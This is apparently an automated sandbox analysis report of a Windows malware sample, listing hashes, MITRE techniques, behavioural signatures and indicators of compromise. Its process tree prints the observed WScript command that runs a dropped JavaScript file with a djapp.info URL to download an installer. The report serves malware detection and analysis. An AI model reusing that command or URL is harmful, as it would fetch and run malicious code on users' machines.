ad351441a01baea4ecc67b282cb8f81425dc1d4214a0cebba9a08b6010530b9b

Analysis

max time kernel
155s
max time network
166s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
28/11/2022, 04:38

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General

Target

ad351441a01baea4ecc67b282cb8f81425dc1d4214a0cebba9a08b6010530b9b.exe
Size

184KB
MD5

10394505b1bb8b3b0961cbf3e399509e
SHA1

d7a1f0fa82d3b96d18299213014bb4183bf39600
SHA256

ad351441a01baea4ecc67b282cb8f81425dc1d4214a0cebba9a08b6010530b9b
SHA512

cb87d18ba37ce6dad0529744655ad7a9d4f56f192649f68174f46881705deaff96c5ec8bf073d8b981e124194f16bc2bfe5496cbd816d396db800001565e9b1c
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO33:/7BSH8zUB+nGESaaRvoB7FJNndnG

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 9 IoCs

flow	pid	Process
17	4972	WScript.exe
28	4972	WScript.exe
32	4972	WScript.exe
38	4972	WScript.exe
49	4252	WScript.exe
50	4252	WScript.exe
52	2668	WScript.exe
56	2668	WScript.exe
59	2316	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	ad351441a01baea4ecc67b282cb8f81425dc1d4214a0cebba9a08b6010530b9b.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings	ad351441a01baea4ecc67b282cb8f81425dc1d4214a0cebba9a08b6010530b9b.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	49	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	52	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1416 wrote to memory of 4972	1416	ad351441a01baea4ecc67b282cb8f81425dc1d4214a0cebba9a08b6010530b9b.exe	82
PID 1416 wrote to memory of 4972	1416	ad351441a01baea4ecc67b282cb8f81425dc1d4214a0cebba9a08b6010530b9b.exe	82
PID 1416 wrote to memory of 4972	1416	ad351441a01baea4ecc67b282cb8f81425dc1d4214a0cebba9a08b6010530b9b.exe	82
PID 1416 wrote to memory of 4252	1416	ad351441a01baea4ecc67b282cb8f81425dc1d4214a0cebba9a08b6010530b9b.exe	85
PID 1416 wrote to memory of 4252	1416	ad351441a01baea4ecc67b282cb8f81425dc1d4214a0cebba9a08b6010530b9b.exe	85
PID 1416 wrote to memory of 4252	1416	ad351441a01baea4ecc67b282cb8f81425dc1d4214a0cebba9a08b6010530b9b.exe	85
PID 1416 wrote to memory of 2668	1416	ad351441a01baea4ecc67b282cb8f81425dc1d4214a0cebba9a08b6010530b9b.exe	86
PID 1416 wrote to memory of 2668	1416	ad351441a01baea4ecc67b282cb8f81425dc1d4214a0cebba9a08b6010530b9b.exe	86
PID 1416 wrote to memory of 2668	1416	ad351441a01baea4ecc67b282cb8f81425dc1d4214a0cebba9a08b6010530b9b.exe	86
PID 1416 wrote to memory of 2316	1416	ad351441a01baea4ecc67b282cb8f81425dc1d4214a0cebba9a08b6010530b9b.exe	87
PID 1416 wrote to memory of 2316	1416	ad351441a01baea4ecc67b282cb8f81425dc1d4214a0cebba9a08b6010530b9b.exe	87
PID 1416 wrote to memory of 2316	1416	ad351441a01baea4ecc67b282cb8f81425dc1d4214a0cebba9a08b6010530b9b.exe	87

C:\Users\Admin\AppData\Local\Temp\ad351441a01baea4ecc67b282cb8f81425dc1d4214a0cebba9a08b6010530b9b.exe
"C:\Users\Admin\AppData\Local\Temp\ad351441a01baea4ecc67b282cb8f81425dc1d4214a0cebba9a08b6010530b9b.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1416
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufA57C.js" http://www.djapp.info/?domain=UcqYZOZZsG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fufA57C.exe
  2⤵
  - Blocklisted process makes network request
  PID:4972
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufA57C.js" http://www.djapp.info/?domain=UcqYZOZZsG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fufA57C.exe
  2⤵
  - Blocklisted process makes network request
  PID:4252
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufA57C.js" http://www.djapp.info/?domain=UcqYZOZZsG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fufA57C.exe
  2⤵
  - Blocklisted process makes network request
  PID:2668
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufA57C.js" http://www.djapp.info/?domain=UcqYZOZZsG.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O9BVGtj2a-YEr6Zs3wyYH6qubo4P1YmGmG C:\Users\Admin\AppData\Local\Temp\fufA57C.exe
  2⤵
  - Blocklisted process makes network request
  PID:2316

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\fufA57C.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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